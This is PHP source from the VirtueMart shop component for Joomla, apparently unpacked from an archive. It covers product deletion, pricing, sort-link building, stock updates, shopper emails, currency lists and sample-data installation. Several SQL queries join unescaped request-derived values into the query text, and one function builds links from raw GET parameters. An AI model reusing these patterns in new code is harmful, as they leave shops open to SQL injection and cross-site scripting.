`#__virtuemart_product_customfields` as pc '; $q .= 'LEFT JOIN `#__virtuemart_customs`as c using (`virtuemart_custom_id`) WHERE pc.`custom_value` = "' . $id . '" AND `field_type`= "R"'; $db->setQuery($q); $list = $db->loadResultArray(); if ($list) { $listInString = implode(',',$list); //Delete media xref $query = 'DELETE FROM `#__virtuemart_product_customfields` WHERE `virtuemart_customfield_id` IN ('. $listInString .') '; $this->_db->setQuery($query); if(!$this->_db->query()){ vmError( $this->_db->getErrorMsg() ); } } if (!$manufacturers->delete ($id, 'virtuemart_product_id')) { vmError ('Product delete manufacturer ' . $manufacturers->getError ()); $ok = FALSE; } if (!$medias->delete ($id, 'virtuemart_product_id')) { vmError ('Product delete medias ' . $medias->getError ()); $ok = FALSE; } if (!$prices->delete ($id, 'virtuemart_product_id')) { vmError ('Product delete prices ' . $prices->getError ()); $ok = FALSE; } if (!$shop->delete ($id, 'virtuemart_product_id')) { vmError ('Product delete shoppergroups ' . $shop->getError ()); $ok = FALSE; } if (!$rating->delete ($id, 'virtuemart_product_id')) { vmError ('Product delete rating ' . $rating->getError ()); $ok = FALSE; } if (!$review->delete ($id, 'virtuemart_product_id')) { vmError ('Product delete reviews ' . $review->getError ()); $ok = FALSE; } if (!$votes->delete ($id, 'virtuemart_product_id')) { vmError ('Product delete votes ' . $votes->getError ()); $ok = FALSE; } // delete plugin on product delete // $ok must be set to false if an error occurs JPluginHelper::importPlugin ('vmcustom'); $dispatcher = JDispatcher::getInstance (); $dispatcher->trigger ('plgVmOnDeleteProduct', array($id, &$ok)); } return $ok; } /** * Gets the price for a variant * * @author Max Milbers */ public function getPrice ($product, $customVariant, $quantity) { $this->_db = JFactory::getDBO (); // vmdebug('strange',$product); if (!is_object ($product)) { // vmError('deprecated use of getPrice'); $product = $this->getProduct ($product, TRUE, FALSE, TRUE,$quantity); // return false; } // Loads the product price details if (!class_exists ('calculationHelper')) { require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'calculationh.php'); } $calculator = calculationHelper::getInstance (); // Calculate the modificator $variantPriceModification = $calculator->calculateModificators ($product, $customVariant); $prices = $calculator->getProductPrices ($product, $variantPriceModification, $quantity); return $prices; } /** * Get the Order By Select List * * notice by Max Milbers html tags should never be in a model. This function should be moved to a helper or simular,... * * @author Kohl Patrick * @access public * @param $fieds from config Back-end * @return $orderByList * Order,order By, manufacturer and category link List to echo Out **/ function getOrderByList ($virtuemart_category_id = FALSE) { $getArray = (JRequest::get ('get')); $link = ''; $fieldLink = ''; // remove setted variable unset ($getArray['globalCurrencyConverter'], $getArray['virtuemart_manufacturer_id'], $getArray['order'], $getArray['orderby']); // foreach ($getArray as $key => $value ) // $fieldLink .= '&'.$key.'='.$value; //vmdebug('getOrderByList',$getArray); foreach ($getArray as $key => $value) { if (is_array ($value)) { foreach ($value as $k => $v) { $fieldLink .= '&' . $key . '[' . $k . ']' . '=' . $v; } } else { if($key=='dir' or $key=='orderby') continue; if(empty($value)) continue; $fieldLink .= '&' . $key . '=' . $value; } } $fieldLink[0] = "?"; $fieldLink = 'index.php' . $fieldLink; $orderDirLink = ''; $orderDirConf = VmConfig::get ('prd_brws_orderby_dir'); $orderDir = JRequest::getWord ('dir', $orderDirConf); if ($orderDir != $orderDirConf ) { $orderDirLink .= '&dir=' . $orderDir; //was '&order=' } $orderbyTxt = ''; $orderby = JRequest::getVar ('orderby', VmConfig::get ('browse_orderby_field')); $orderby = $this->checkFilterOrder ($orderby); $orderbyCfg = VmConfig::get ('browse_orderby_field'); if ($orderby != $orderbyCfg) { $orderbyTxt = '&orderby=' . $orderby; } $manufacturerTxt = ''; $manufacturerLink = ''; if (VmConfig::get ('show_manufacturers')) { // manufacturer link list $virtuemart_manufacturer_id = JRequest::getInt ('virtuemart_manufacturer_id', ''); if ($virtuemart_manufacturer_id != '') { $manufacturerTxt = '&virtuemart_manufacturer_id=' . $virtuemart_manufacturer_id; } // if ($mf_virtuemart_product_ids) { $query = 'SELECT DISTINCT l.`mf_name`,l.`virtuemart_manufacturer_id` FROM `#__virtuemart_manufacturers_' . VMLANG . '` as l'; $query .= ' JOIN `#__virtuemart_product_manufacturers` AS pm using (`virtuemart_manufacturer_id`)'; $query .= ' LEFT JOIN `#__virtuemart_products` as p ON p.`virtuemart_product_id` = pm.`virtuemart_product_id` '; $query .= ' LEFT JOIN `#__virtuemart_product_categories` as c ON c.`virtuemart_product_id` = pm.`virtuemart_product_id` '; $query .= ' WHERE p.`published` =1'; if ($virtuemart_category_id) { $query .= ' AND c.`virtuemart_category_id` =' . (int)$virtuemart_category_id; } $query .= ' ORDER BY l.`mf_name`'; $this->_db->setQuery ($query); $manufacturers = $this->_db->loadObjectList (); // vmdebug('my manufacturers',$this->_db->getQuery()); $manufacturerLink = ''; if (count ($manufacturers) > 0) { $manufacturerLink = '
    '; if ($virtuemart_manufacturer_id > 0) { $manufacturerLink .= ''; } if (count ($manufacturers) > 1) { foreach ($manufacturers as $mf) { $link = JRoute::_ ($fieldLink . '&virtuemart_manufacturer_id=' . $mf->virtuemart_manufacturer_id . $orderbyTxt . $orderDirLink,FALSE); if ($mf->virtuemart_manufacturer_id != $virtuemart_manufacturer_id) { $manufacturerLink .= ''; } else { $currentManufacturerLink = '
    ' . JText::_ ('COM_VIRTUEMART_PRODUCT_DETAILS_MANUFACTURER_LBL') . '
    ' . $mf->mf_name . '
    '; } } } elseif ($virtuemart_manufacturer_id > 0) { $currentManufacturerLink = '
    ' . JText::_ ('COM_VIRTUEMART_PRODUCT_DETAILS_MANUFACTURER_LBL') . '
    ' . $manufacturers[0]->mf_name . '
    '; } else { $currentManufacturerLink = '
    ' . JText::_ ('COM_VIRTUEMART_PRODUCT_DETAILS_MANUFACTURER_LBL') . '
    ' . $manufacturers[0]->mf_name . '
    '; } $manufacturerLink .= '
    '; } // } } /* order by link list*/ $orderByLink = ''; $fields = VmConfig::get ('browse_orderby_fields'); if (count ($fields) > 1) { $orderByLink = '
    '; foreach ($fields as $field) { if ($field != $orderby) { $dotps = strrpos ($field, '.'); if ($dotps !== FALSE) { $prefix = substr ($field, 0, $dotps + 1); $fieldWithoutPrefix = substr ($field, $dotps + 1); // vmdebug('Found dot '.$dotps.' $prefix '.$prefix.' $fieldWithoutPrefix '.$fieldWithoutPrefix); } else { $prefix = ''; $fieldWithoutPrefix = $field; } $text = JText::_ ('COM_VIRTUEMART_' . strtoupper ($fieldWithoutPrefix)); $field = explode('.',$field); if(isset($field[1])){ $field = $field[1]; } else { $field = $field[0]; } $link = JRoute::_ ($fieldLink . $manufacturerTxt . '&orderby=' . $field,FALSE); $orderByLink .= ''; } } $orderByLink .= '
    '; } if($orderDir == 'ASC'){ $orderDir = 'DESC'; } else { $orderDir = 'ASC'; } if ($orderDir != $orderDirConf ) { $orderDirLink = '&dir=' . $orderDir; //was '&order=' } else { $orderDirLink = ''; } //$orderDirTxt = JText::_ ('COM_VIRTUEMART_SEARCH_ORDER_'.$orderDir); $orderDirTxt = JText::_ ('COM_VIRTUEMART_'.$orderDir); $link = JRoute::_ ($fieldLink . $orderbyTxt . $orderDirLink . $manufacturerTxt,FALSE); // full string list if ($orderby == '') { $orderby = $orderbyCfg; } $orderby = strtoupper ($orderby); $dotps = strrpos ($orderby, '.'); if ($dotps !== FALSE) { $prefix = substr ($orderby, 0, $dotps + 1); $orderby = substr ($orderby, $dotps + 1); // vmdebug('Found dot '.$dotps.' $prefix '.$prefix.' $fieldWithoutPrefix '.$fieldWithoutPrefix); } else { $prefix = ''; // $orderby = $orderby; } $orderByList = '
    ' . JText::_ ('COM_VIRTUEMART_ORDERBY') . '
    '; $orderByList .= $orderByLink . '
    '; $manuList = ''; if (VmConfig::get ('show_manufacturers')) { if (empty ($currentManufacturerLink)) { $currentManufacturerLink = '
    ' . JText::_ ('COM_VIRTUEMART_PRODUCT_DETAILS_MANUFACTURER_LBL') . '
    ' . JText::_ ('COM_VIRTUEMART_SEARCH_SELECT_MANUFACTURER') . '
    '; } $manuList = '
    ' . $currentManufacturerLink; $manuList .= $manufacturerLink . '
    '; } return array('orderby'=> $orderByList, 'manufacturer'=> $manuList); } // ************************************************** //Stocks // /** * Get the stock level for a given product * * @author RolandD * @access public * @param object $product the product to get stocklevel for * @return array containing product objects */ public function getStockIndicator ($product) { $this->_db = JFactory::getDBO (); /* Assign class to indicator */ $stock_level = $product->product_in_stock - $product->product_ordered; $reorder_level = $product->low_stock_notification; $level = 'normalstock'; $stock_tip = JText::_ ('COM_VIRTUEMART_STOCK_LEVEL_DISPLAY_NORMAL_TIP'); if ($stock_level <= $reorder_level) { $level = 'lowstock'; $stock_tip = JText::_ ('COM_VIRTUEMART_STOCK_LEVEL_DISPLAY_LOW_TIP'); } if ($stock_level <= 0) { $level = 'nostock'; $stock_tip = JText::_ ('COM_VIRTUEMART_STOCK_LEVEL_DISPLAY_OUT_TIP'); } $stock = new Stdclass(); $stock->stock_tip = $stock_tip; $stock->stock_level = $level; return $stock; } public function updateStockInDB ($product, $amount, $signInStock, $signOrderedStock) { // vmdebug( 'stockupdate in DB', $product->virtuemart_product_id,$amount, $signInStock, $signOrderedStock ); $validFields = array('=', '+', '-'); if (!in_array ($signInStock, $validFields)) { return FALSE; } if (!in_array ($signOrderedStock, $validFields)) { return FALSE; } //sanitize fields $id = (int)$product->virtuemart_product_id; $amount = (float)$amount; $update = array(); if ($signInStock != '=' or $signOrderedStock != '=') { if ($signInStock != '=') { $update[] = '`product_in_stock` = `product_in_stock` ' . $signInStock . $amount; if (strpos ($signInStock, '+') !== FALSE) { $signInStock = '-'; } else { $signInStock = '+'; } $update[] = '`product_sales` = `product_sales` ' . $signInStock . $amount; } if ($signOrderedStock != '=') { $update[] = '`product_ordered` = `product_ordered` ' . $signOrderedStock . $amount; } $q = 'UPDATE `#__virtuemart_products` SET ' . implode (", ", $update) . ' WHERE `virtuemart_product_id` = ' . $id; $this->_db->setQuery ($q); $this->_db->query (); //The low on stock notification comes now, when the people ordered. //You need to know that the stock is going low before you actually sent the wares, because then you ususally know it already yoursefl //note by Max Milbers if ($signInStock == '+') { $this->_db->setQuery ('SELECT (IFNULL(`product_in_stock`,"0")+IFNULL(`product_ordered`,"0")) < IFNULL(`low_stock_notification`,"0") ' . 'FROM `#__virtuemart_products` ' . 'WHERE `virtuemart_product_id` = ' . $id ); if ($this->_db->loadResult () == 1) { $this->lowStockWarningEmail( $id) ; } } } } function lowStockWarningEmail($virtuemart_product_id) { if(VmConfig::get('lstockmail',TRUE)){ if (!class_exists ('shopFunctionsF')) { require(JPATH_VM_SITE . DS . 'helpers' . DS . 'shopfunctionsf.php'); } /* Load the product details */ $q = "SELECT l.product_name,product_in_stock FROM `#__virtuemart_products_" . VMLANG . "` l JOIN `#__virtuemart_products` p ON p.virtuemart_product_id=l.virtuemart_product_id WHERE p.virtuemart_product_id = " . $virtuemart_product_id; $this->_db->setQuery ($q); $vars = $this->_db->loadAssoc (); $url = JURI::root () . 'index.php?option=com_virtuemart&view=productdetails&virtuemart_product_id=' . $virtuemart_product_id; $link = ''. $vars['product_name'].''; $vars['subject'] = JText::sprintf('COM_VIRTUEMART_PRODUCT_LOW_STOCK_EMAIL_SUBJECT',$vars['product_name']); $vars['mailbody'] =JText::sprintf('COM_VIRTUEMART_PRODUCT_LOW_STOCK_EMAIL_BODY',$link, $vars['product_in_stock']); $virtuemart_vendor_id = 1; $vendorModel = VmModel::getModel ('vendor'); $vendor = $vendorModel->getVendor ($virtuemart_vendor_id); $vendorModel->addImages ($vendor); $vars['vendor'] = $vendor; $vars['vendorAddress']= shopFunctions::renderVendorAddress($virtuemart_vendor_id); $vars['vendorEmail'] = $vendorModel->getVendorEmail ($virtuemart_vendor_id); $vars['user'] = $vendor->vendor_store_name ; shopFunctionsF::renderMail ('productdetails', $vars['vendorEmail'], $vars, 'productdetails', TRUE) ; return TRUE; } else { return FALSE; } } public function getUncategorizedChildren ($withParent) { if (empty($this->_uncategorizedChildren[$this->_id])) { //Todo add check for shoppergroup depended product display $q = 'SELECT * FROM `#__virtuemart_products` as p LEFT JOIN `#__virtuemart_products_' . VMLANG . '` as pl USING (`virtuemart_product_id`) LEFT JOIN `#__virtuemart_product_categories` as pc USING (`virtuemart_product_id`) '; // $q .= ' WHERE (`product_parent_id` = "'.$this->_id.'" AND (pc.`virtuemart_category_id`) IS NULL ) OR (`virtuemart_product_id` = "'.$this->_id.'" ) '; if ($withParent) { $q .= ' WHERE (`product_parent_id` = "' . $this->_id . '" OR `virtuemart_product_id` = "' . $this->_id . '") '; } else { $q .= ' WHERE `product_parent_id` = "' . $this->_id . '" '; } $app = JFactory::getApplication (); if ($app->isSite () && !VmConfig::get ('use_as_catalog', 0) && VmConfig::get ('stockhandle', 'none') == 'disableit') { $q .= ' AND p.`product_in_stock`>"0" '; } if ($app->isSite ()) { $q .= ' AND p.`published`="1"'; } $q .= ' GROUP BY `virtuemart_product_id` ORDER BY p.pordering ASC'; $this->_db->setQuery ($q); $this->_uncategorizedChildren[$this->_id] = $this->_db->loadAssocList (); $err = $this->_db->getErrorMsg (); if (!empty($err)) { vmError ('getUncategorizedChildren sql error ' . $err, 'getUncategorizedChildren sql error'); vmdebug ('getUncategorizedChildren ' . $err); return FALSE; } // vmdebug('getUncategorizedChildren '.$this->_db->getQuery(),$this->_uncategorizedChildren); } return $this->_uncategorizedChildren[$this->_id]; } /** * Check if the product has any children * * @author RolandD * @author Max Milbers * @param int $virtuemart_product_id Product ID * @return bool True if there are child products, false if there are no child products */ public function checkChildProducts ($virtuemart_product_id) { $q = 'SELECT IF(COUNT(virtuemart_product_id) > 0, "0", "1") FROM `#__virtuemart_products` WHERE `product_parent_id` = "' . (int)$virtuemart_product_id . '"'; $this->_db->setQuery ($q); return $this->_db->loadResult (); } function getProductChilds ($product_id) { if (empty($product_id)) { return array(); } $db = JFactory::getDBO (); $db->setQuery (' SELECT virtuemart_product_id, product_name FROM `#__virtuemart_products_' . VMLANG . '` JOIN `#__virtuemart_products` as C using (`virtuemart_product_id`) WHERE `product_parent_id` =' . (int)$product_id); return $db->loadObjectList (); } function getProductChildIds ($product_id) { if (empty($product_id)) { return array(); } $db = JFactory::getDBO (); $db->setQuery (' SELECT virtuemart_product_id FROM `#__virtuemart_products` WHERE `product_parent_id` =' . (int)$product_id.' ORDER BY pordering ASC'); return $db->loadResultArray (); } function getProductParent ($product_parent_id) { if (empty($product_parent_id)) { return array(); } $db = JFactory::getDBO (); $db->setQuery (' SELECT * FROM `#__virtuemart_products_' . VMLANG . '` WHERE `virtuemart_product_id` =' . (int)$product_parent_id); return $db->loadObject (); } function sentProductEmailToShoppers () { jimport ('joomla.utilities.arrayhelper'); if (!class_exists ('ShopFunctions')) { require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'shopfunctions.php'); } $product_id = JRequest::getVar ('virtuemart_product_id', ''); vmdebug ('sentProductEmailToShoppers product id', $product_id); $vars = array(); $vars['subject'] = JRequest::getVar ('subject'); $vars['mailbody'] = JRequest::getVar ('mailbody'); $order_states = JRequest::getVar ('statut', array(), '', 'ARRAY'); $productShoppers = $this->getProductShoppersByStatus ($product_id, $order_states); vmdebug ('productShoppers ', $productShoppers); $productModel = VmModel::getModel ('product'); $product = $productModel->getProduct ($product_id); $vendorModel = VmModel::getModel ('vendor'); $vendor = $vendorModel->getVendor ($product->virtuemart_vendor_id); $vendorModel->addImages ($vendor); $vars['vendor'] = $vendor; $vars['vendorEmail'] = $vendorModel->getVendorEmail ($product->virtuemart_vendor_id); $vars['vendorAddress'] = shopFunctions::renderVendorAddress ($product->virtuemart_vendor_id); $orderModel = VmModel::getModel ('orders'); foreach ($productShoppers as $productShopper) { $vars['user'] = $productShopper['name']; if (shopFunctionsF::renderMail ('productdetails', $productShopper['email'], $vars, 'productdetails', TRUE)) { $string = 'COM_VIRTUEMART_MAIL_SEND_SUCCESSFULLY'; } else { $string = 'COM_VIRTUEMART_MAIL_NOT_SEND_SUCCESSFULLY'; } /* Update the order history for each order */ foreach ($productShopper['order_info'] as $order_info) { $orderModel->_updateOrderHist ($order_info['order_id'], $order_info['order_status'], 1, $vars['subject'] . ' ' . $vars['mailbody']); } // todo: when there is an error while sending emails //vmInfo (JText::sprintf ($string, $productShopper['email'])); } } public function getProductShoppersByStatus ($product_id, $states) { if (empty($states)) { return FALSE; } $orderstatusModel = VmModel::getModel ('orderstatus'); $orderStates = $orderstatusModel->getOrderStatusNames (); foreach ($states as &$status) { if (!array_key_exists ($status, $orderStates)) { unset($status); } } if (empty($states)) { return FALSE; } $q = 'SELECT ou.* , oi.product_quantity , o.order_number, o.order_status, oi.`order_status` AS order_item_status , o.virtuemart_order_id FROM `#__virtuemart_order_userinfos` as ou JOIN `#__virtuemart_order_items` AS oi USING (`virtuemart_order_id`) JOIN `#__virtuemart_orders` AS o ON o.`virtuemart_order_id` = oi.`virtuemart_order_id` WHERE ou.`address_type`="BT" AND oi.`virtuemart_product_id`=' . (int)$product_id; if (count ($orderStates) !== count ($states)) { $q .= ' AND oi.`order_status` IN ( "' . implode ('","', $states) . '") '; } $q .= ' ORDER BY ou.`email` ASC'; $this->_db->setQuery ($q); $productShoppers = $this->_db->loadAssocList (); $shoppers = array(); foreach ($productShoppers as $productShopper) { $key = $productShopper['email']; if (!array_key_exists ($key, $shoppers)) { $shoppers[$key]['phone'] = !empty($productShopper['phone_1']) ? $productShopper['phone_1'] : (!empty($productShopper['phone_2']) ? $productShopper['phone_2'] : '-'); $shoppers[$key]['name'] = $productShopper['first_name'] . ' ' . $productShopper['last_name']; $shoppers[$key]['email'] = $productShopper['email']; $shoppers[$key]['mail_to'] = 'mailto:' . $productShopper['email']; $shoppers[$key]['nb_orders'] = 0; } $i = $shoppers[$key]['nb_orders']; $shoppers[$key]['order_info'][$i]['order_number'] = $productShopper['order_number']; $shoppers[$key]['order_info'][$i]['order_id'] = $productShopper['virtuemart_order_id']; $shoppers[$key]['order_info'][$i]['order_status'] = $productShopper['order_status']; $shoppers[$key]['order_info'][$i]['order_item_status_name'] = $orderStates[$productShopper['order_item_status']]['order_status_name']; $shoppers[$key]['order_info'][$i]['quantity'] = $productShopper['product_quantity']; $shoppers[$key]['nb_orders']++; } return $shoppers; } } // No closing tagPKB\Jz>&&models/currency.phpnuW+AsetMainTable('currencies'); } /** * Retrieve the detail record for the current $id if the data has not already been loaded. * * @author Max Milbers */ function getCurrency($currency_id=0) { if(!empty($currency_id)) $this->setId((int)$currency_id); if (empty($this->_data) ) { $this->_data = $this->getTable('currencies'); $this->_data->load((int)$this->_id); } return $this->_data; } /** * Retireve a list of currencies from the database. * This function is used in the backend for the currency listing, therefore no asking if enabled or not * @author Max Milbers * @return object List of currency objects */ function getCurrenciesList($search,$vendorId=1) { $where = array(); // $this->_query = 'SELECT * FROM `#__virtuemart_currencies` '; if(!class_exists('Permissions')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'permissions.php'); if( !Permissions::getInstance()->check('admin') ){ $where[] = '(`virtuemart_vendor_id` = "'.(int)$vendorId.'" OR `shared`="1")'; } if(empty($search)){ $search = JRequest::getString('search', false); } /* add filters */ if($search){ $search = '"%' . $this->_db->getEscaped( $search, true ) . '%"' ; //$search = $this->_db->Quote($search, false); $where[] = '`currency_name` LIKE '.$search.' OR `currency_code_2` LIKE '.$search.' OR `currency_code_3` LIKE '.$search; } // if (JRequest::getString('search', false)) $where[] = '`currency_name` LIKE "%'.$this->_db->getEscaped(JRequest::getString('search')).'%"'; $whereString=''; if (count($where) > 0) $whereString = ' WHERE '.implode(' AND ', $where) ; // if (count($where) > 0) $this->_query .= ' WHERE '.implode(' AND ', $where) ; // $this->_query .= $this->_getOrdering('currency_name'); // $this->_data = $this->_getList($this->_query, $this->getState('limitstart'), $this->getState('limit')); // $this->_total = $this->_getListCount($this->_query) ; // $object, $select, $joinedTables, $whereString = '', $groupBy = '', $orderBy = '', $filter_order_Dir = '', $nbrReturnProducts = false $this->_data = $this->exeSortSearchListQuery(0,'*',' FROM `#__virtuemart_currencies`',$whereString,'',$this->_getOrdering()); return $this->_data; // return $this->_data; } /** * Retireve a list of currencies from the database. * * This is written to get a list for selecting currencies. Therefore it asks for enabled * @author Max Milbers * @return object List of currency objects */ function getCurrencies($vendorId=1) { $db = JFactory::getDBO(); $q = 'SELECT * FROM `#__virtuemart_currencies` WHERE (`virtuemart_vendor_id` = "'.(int)$vendorId.'" OR `shared`="1") AND published = "1" ORDER BY `#__virtuemart_currencies`.`currency_name`'; $db->setQuery($q); return $db->loadObjectList(); } } // pure php no closing tagPKB\B%!S!Smodels/updatesmigration.phpnuW+A 0) { $this->_user = JFactory::getUser($virtuemart_user_id); } else { $this->_user = JFactory::getUser(); } return $this->_user->id; } /** * @author Max Milbers */ function setStoreOwner($userId=-1) { $allowInsert=FALSE; if($userId===-1){ $allowInsert = TRUE; $userId = 0; } if (empty($userId)) { $userId = $this->determineStoreOwner(); vmdebug('setStoreOwner $userId = '.$userId.' by determineStoreOwner'); } $db = JFactory::getDBO(); $db->setQuery('SELECT * FROM `#__virtuemart_vmusers` WHERE `virtuemart_user_id`= "' . $userId . '" '); $oldUserId = $db->loadResult(); if (!empty($oldUserId) and !empty($userId)) { $db->setQuery( 'UPDATE `#__virtuemart_vmusers` SET `virtuemart_vendor_id` = "0", `user_is_vendor` = "0", `perms` = "" WHERE `virtuemart_vendor_id` ="1" '); if ($db->query() == false ) { JError::raiseWarning(1, 'UPDATE __vmusers failed for virtuemart_user_id '.$userId); return false; } $db->setQuery( 'UPDATE `#__virtuemart_vmusers` SET `virtuemart_vendor_id` = "1", `user_is_vendor` = "1", `perms` = "admin" WHERE `virtuemart_user_id` ="'.$userId.'" '); if ($db->query() === false ) { JError::raiseWarning(1, 'UPDATE __vmusers failed for virtuemart_user_id '.$userId); return false; } else { vmInfo('setStoreOwner VmUser updated new main vendor has user id '.$userId); } } else if($allowInsert){ $db->setQuery('INSERT `#__virtuemart_vmusers` (`virtuemart_user_id`, `user_is_vendor`, `virtuemart_vendor_id`, `perms`) VALUES ("' . $userId . '", "1","1","admin")'); if ($db->query() === false ) { JError::raiseWarning(1, 'setStoreOwner was not possible to execute INSERT __vmusers for virtuemart_user_id '.$userId); return false; } else { vmInfo('setStoreOwner VmUser inserted new main vendor has user id '.$userId); } } return $userId; } /** * Syncs user permission * * @param int virtuemart_user_id * @return bool true on success * @author Christopher Roussel */ function setUserToPermissionGroup ($userId=0) { if(!class_exists('Permissions')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'permissions.php'); $usersTable = $this->getTable('vmusers'); $usersTable->load((int)$userId); $perm = Permissions::getInstance(); $usersTable->perms = $perm->getPermissions($userId); $result = $usersTable->check(); if ($result) { $result = $usersTable->store(); } if (!$result) { $errors = $usersTable->getErrors(); foreach($errors as $error) { vmError(get_class( $this ).'::setUserToPermissionGroup user '.$error); } return false; } $xrefTable = $this->getTable('vmuser_shoppergroups'); $data = $xrefTable->load((int)$userId); if (empty($data)) { $data = array('virtuemart_user_id'=>$userId, 'virtuemart_shoppergroup_id'=>'0'); if (!$xrefTable->save($data)) { $errors = $xrefTable->getErrors(); foreach($errors as $error){ vmError(get_class( $this ).'::setUserToPermissionGroup xref '.$error); } return false; } } return true; } /** * Installs sample data to the current database. * * @author Max Milbers, RickG * @params $userId User Id to add the userinfo and vendor sample data to */ function installSampleData($userId = null) { if ($userId == null) { $userId = $this->determineStoreOwner(); } $fields['username'] = $this->_user->username; $fields['virtuemart_user_id'] = $userId; $fields['address_type'] = 'BT'; // Don't change this company name; it's used in install_sample_data.sql $fields['company'] = "Sample Company"; $fields['title'] = 'Mr'; $fields['last_name'] = 'John'; $fields['first_name'] = 'Doe'; $fields['middle_name'] = ''; $fields['phone_1'] = '555-555-555'; $fields['address_1'] = 'PO Box 123'; $fields['city'] = 'Seattle'; $fields['zip'] = '98101'; $fields['virtuemart_state_id'] = '48'; $fields['virtuemart_country_id'] = '223'; // $fields['virtuemart_shoppergroup_id'] = ''; //Dont change this, atm everything is mapped to mainvendor with id=1 $fields['user_is_vendor'] = '1'; $fields['virtuemart_vendor_id'] = '1'; $fields['vendor_name'] = 'Sample Company'; $fields['vendor_phone'] = '555-555-1212'; $fields['vendor_store_name'] = "VirtueMart 2 Sample store"; $fields['vendor_store_desc'] = '

    We have the best clothing for up-to-date people. Check it out!

    We were established in 1869 in a time when getting good clothes was expensive, but the quality was good. Now that only a select few of those authentic clothes survive, we have dedicated this store to bringing the experience alive for collectors and master carrier everywhere.

    You can easily find products selecting the category you would like to browse above.

    '; $fields['virtuemart_media_id'] = 1; $fields['vendor_currency'] = '47'; $fields['vendor_accepted_currencies'] = '52,26,47,144'; $fields['vendor_terms_of_service'] = '
    You have not configured any terms of service yet. Click here to change this text.
    '; $fields['vendor_url'] = JURI::root(); $fields['vendor_name'] = 'Sample Company'; $fields['perms']='admin'; $fields['vendor_legal_info']="VAT-ID: XYZ-DEMO
    Reg.Nr: DEMONUMBER"; $fields['vendor_letter_css']='.vmdoc-header { }.vmdoc-footer { }'; $fields['vendor_letter_header_html']='

    {vm:vendorname}

    {vm:vendoraddress}

    '; $fields['vendor_letter_header_image']='1'; $fields['vendor_letter_footer_html']='{vm:vendorlegalinfo}
    Page {vm:pagenum}/{vm:pagecount}'; if(!class_exists('VirtueMartModelUser')) require(JPATH_VM_ADMINISTRATOR.DS.'models'.DS.'user.php'); $usermodel = VmModel::getModel('user'); $usermodel->setId($userId); //Save the VM user stuff if(!$usermodel->store($fields)){ vmError(JText::_('COM_VIRTUEMART_NOT_ABLE_TO_SAVE_USER_DATA') ); JError::raiseWarning('', JText::_('COM_VIRTUEMART_RAISEWARNING_NOT_ABLE_TO_SAVE_USER_DATA')); } // $params = JComponentHelper::getParams('com_languages'); // $lang = $params->get('site', 'en-GB');//use default joomla // $this->installSampleSQL($lang); $filename = JPATH_ROOT.DS.'administrator'.DS.'components'.DS.'com_virtuemart'.DS.'install'.DS.'install_sample_data.sql'; if(!defined('VMLANG')){ $params = JComponentHelper::getParams('com_languages'); $lang = $params->get('site', 'en-GB');//use default joomla $lang = strtolower(strtr($lang,'-','_')); } else { $lang = VMLANG; } if(!$this->execSQLFile($filename)){ vmError(JText::_('Problems execution of SQL File '.$filename)); } else { //update jplugin_id from shipment and payment $db = JFactory::getDBO(); $q = 'SELECT `extension_id` FROM #__extensions WHERE element = "weight_countries" AND folder = "vmshipment"'; $db->setQuery($q); $shipment_plg_id = $db->loadResult(); if(!empty($shipment_plg_id)){ $q = 'INSERT INTO `#__virtuemart_shipmentmethods` (`virtuemart_shipmentmethod_id`, `virtuemart_vendor_id`, `shipment_jplugin_id`, `shipment_element`, `shipment_params`, `ordering`, `shared`, `published`, `created_on`, `created_by`, `modified_on`, `modified_by`, `locked_on`, `locked_by`) VALUES (1, 1, '.$shipment_plg_id.', "weight_countries", \'shipment_logos=""|countries=""|zip_start=""|zip_stop=""|weight_start=""|weight_stop=""|weight_unit="KG"|nbproducts_start=0|nbproducts_stop=0|orderamount_start=""|orderamount_stop=""|cost="0"|package_fee="2.49"|tax_id="0"|free_shipment="500"|\', 0, 0, 1, "0000-00-00 00:00:00", 0, "0000-00-00 00:00:00", 0, "0000-00-00 00:00:00", 0)'; $db->setQuery($q); $db->query(); $q = 'INSERT INTO `#__virtuemart_shipmentmethods_'.$lang.'` (`virtuemart_shipmentmethod_id`, `shipment_name`, `shipment_desc`, `slug`) VALUES (1, "Self pick-up", "", "Self-pick-up")'; $db->setQuery($q); $db->query(); //Create table of the plugin if(JVM_VERSION!=1){ $url = '/plugins/vmshipment/weight_countries'; } else{ $url = '/plugins/vmshipment'; } if (!class_exists ('plgVmShipmentWeight_countries')) require(JPATH_ROOT . DS . $url . DS . 'weight_countries.php'); $this->installPluginTable('plgVmShipmentWeight_countries','#__virtuemart_shipment_plg_weight_countries','Shipment Weight Countries Table'); } $q = 'SELECT `extension_id` FROM #__extensions WHERE element = "standard" AND folder = "vmpayment"'; $db->setQuery($q); $payment_plg_id = $db->loadResult(); if(!empty($payment_plg_id)){ $q='INSERT INTO `#__virtuemart_paymentmethods` (`virtuemart_paymentmethod_id`, `virtuemart_vendor_id`, `payment_jplugin_id`, `payment_element`, `payment_params`, `shared`, `ordering`, `published`, `created_on`, `created_by`, `modified_on`, `modified_by`, `locked_on`, `locked_by`) VALUES (1, 1, '.$payment_plg_id.', "standard", \'payment_logos=""|countries=""|payment_currency="0"|status_pending="U"|send_invoice_on_order_null="1"|min_amount=""|max_amount=""|cost_per_transaction="0.10"|cost_percent_total="1.5"|tax_id="0"|payment_info=""|\', 0, 0, 1, "0000-00-00 00:00:00", 0, "0000-00-00 00:00:00", 0, "0000-00-00 00:00:00", 0)'; $db->setQuery($q); $db->query(); $q="INSERT INTO `#__virtuemart_paymentmethods_".$lang."` (`virtuemart_paymentmethod_id`, `payment_name`, `payment_desc`, `slug`) VALUES (1, 'Cash on delivery', '', 'Cash-on-delivery')"; $db->setQuery($q); $db->query(); if(JVM_VERSION!=1){ $url = '/plugins/vmpayment/standard'; } else{ $url = '/plugins/vmpayment'; } if (!class_exists ('plgVmPaymentStandard')) require(JPATH_ROOT . DS . $url . DS . 'standard.php'); $this->installPluginTable('plgVmPaymentStandard','#__virtuemart_payment_plg_standard','Payment Standard Table'); } vmInfo(JText::_('COM_VIRTUEMART_SAMPLE_DATA_INSTALLED')); } return true; } function installPluginTable ($className,$tablename,$tableComment) { $query = "CREATE TABLE IF NOT EXISTS `" . $tablename . "` ("; if(!empty($tablesFields)){ foreach ($tablesFields as $fieldname => $fieldtype) { $query .= '`' . $fieldname . '` ' . $fieldtype . " , "; } } else { $SQLfields = call_user_func($className."::getTableSQLFields"); 